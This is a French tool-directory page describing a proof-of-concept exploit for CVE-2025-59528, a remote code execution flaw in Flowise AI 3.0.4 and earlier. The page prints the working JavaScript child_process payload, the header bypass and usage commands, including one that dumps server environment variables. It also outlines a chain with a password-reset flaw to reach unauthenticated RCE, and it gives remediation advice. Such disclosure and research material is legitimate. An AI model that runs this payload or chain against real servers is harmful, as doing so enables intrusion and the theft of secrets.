Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Flowise-RCE-CVE-2025-59528 — PoC d'exploitation en Python pour CVE-2025-59528, permettant une RCE authentifiée sur Flowise AI <= 3.0.4 via le point de terminaison customMCP et Node.js child_process.execSync. | Kitploit
Outils/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

PoC d'exploitation en Python pour CVE-2025-59528, permettant une RCE authentifiée sur Flowise AI <= 3.0.4 via le point de terminaison customMCP et Node.js child_process.execSync.

Voir le dépôt
11il y a 4h 34mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-59528 — Exécution de code à distance authentifiée (RCE) dans Flowise AI

Aperçu

ID CVE : CVE-2025-59528
Logiciel affecté : Flowise AI
Versions vulnérables : <= 3.0.4
Version corrigée : 3.0.5 et ultérieures
Gravité : Critique
Auteur : arensballiu
Date : 2025

Description

Les versions de Flowise AI jusqu'à 3.0.4 incluses permettent à un utilisateur authentifié d'obtenir une exécution de code à distance (RCE) sur le serveur hôte en envoyant une charge utile JavaScript spécialement conçue à l'endpoint /api/v1/node-load-method/customMCP.

La méthode de chargement du nœud customMCP accepte une entrée contrôlée par l'utilisateur qui est évaluée côté serveur en tant que JavaScript, sans assainissement ni sandboxing adéquats. En injectant une charge utile exploitant child_process.execSync de Node.js, un attaquant peut exécuter des commandes arbitraires du système d'exploitation avec les privilèges du processus serveur Flowise.

L'endpoint nécessite également la présence de l'en-tête x-request-from: internal.

Endpoint affecté

EndpointMéthodeAuthentification requiseObjectif
/api/v1/auth/loginPOSTNonS'authentifier et obtenir une session
/api/v1/node-load-method/customMCPPOSTOui (cookie de session)Endpoint vulnérable de méthode de chargement de nœud

Preuve de concept

Fichier : CVE-2025-59528_POC.py

Prérequis

  • Python 3.x
  • Bibliothèque requests
  • Identifiants valides pour n'importe quel compte utilisateur sur l'instance Flowise cible
root@kitploit:~
pip install requests

Utilisation

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Arguments

OptionForme longueRequisDescription
-e--emailOuiAdresse e-mail de l'utilisateur authentifié
-i--urlOuiURL de base de l'instance Flowise
-p--passwordOuiMot de passe de l'utilisateur authentifié
-c--cmdOuiCommande système à exécuter sur le serveur

Exemples

Vérifier l'exécution de code :

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Récupérer les variables d'environnement du serveur :

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Sortie attendue

root@kitploit:~
[+] Logged in
[+] Exploit sent
[+] Status: 200

Analyse de la charge utile

L'exploit injecte l'expression JavaScript suivante dans le champ mcpServerConfig :

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — charge le module d'exécution de processus intégré de Node.js.
  • execSync('<command>') — exécute de manière synchrone la commande système fournie par l'attaquant.
  • L'expression entière est encapsulée dans un littéral d'objet pour garantir son évaluation propre dans le contexte JavaScript du serveur.

L'en-tête x-request-from: internal est également ajouté à la requête pour passer une vérification d'origine interne qui bloquerait autrement l'appel.

Cause racine

L'endpoint customMCP transmet directement l'entrée fournie par l'utilisateur dans un contexte d'évaluation JavaScript sur le serveur, sans assainissement ni sandboxing. Combiné à un accès non restreint aux modules principaux de Node.js (en particulier child_process) via process.mainModule.require, cela crée un vecteur RCE trivialement exploitable. La vérification de l'en-tête x-request-from n'offre aucune frontière de sécurité significative car elle n'est validée auprès d'aucune source de confiance.

Chaînage avec CVE-2025-58434

Ces deux vulnérabilités peuvent être chaînées pour obtenir un chemin d'attaque RCE non authentifié contre les instances Flowise exécutant les versions <= 3.0.4 :

  1. Utiliser CVE-2025-58434 pour réinitialiser le mot de passe de n'importe quel compte connu (aucune authentification préalable nécessaire).
  2. Se connecter avec les identifiants nouvellement définis.
  3. Utiliser CVE-2025-59528 pour exécuter des commandes système arbitraires sur le serveur.

Remédiation

  • Mettre à niveau vers Flowise AI 3.0.5 ou ultérieur, qui supprime ou sandboxe correctement le chemin d'évaluation vulnérable.
  • Ne jamais évaluer de chaînes contrôlées par l'utilisateur en tant que code dans un contexte côté serveur.
  • Restreindre l'accès aux modules Node.js dangereux (child_process, fs, etc.) via un sandbox approprié (par exemple, vm2, contextes isolés, ou suppression de l'accès à process.mainModule).
  • Valider et authentifier l'en-tête x-request-from via un mécanisme côté serveur plutôt qu'une simple vérification de chaîne.
  • Appliquer le principe du moindre privilège au processus serveur Flowise.

Avertissement

Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité autorisée uniquement. L'utilisation de ce script contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. L'auteur et les contributeurs déclinent toute responsabilité en cas de mauvaise utilisation.

Télécharger l’outil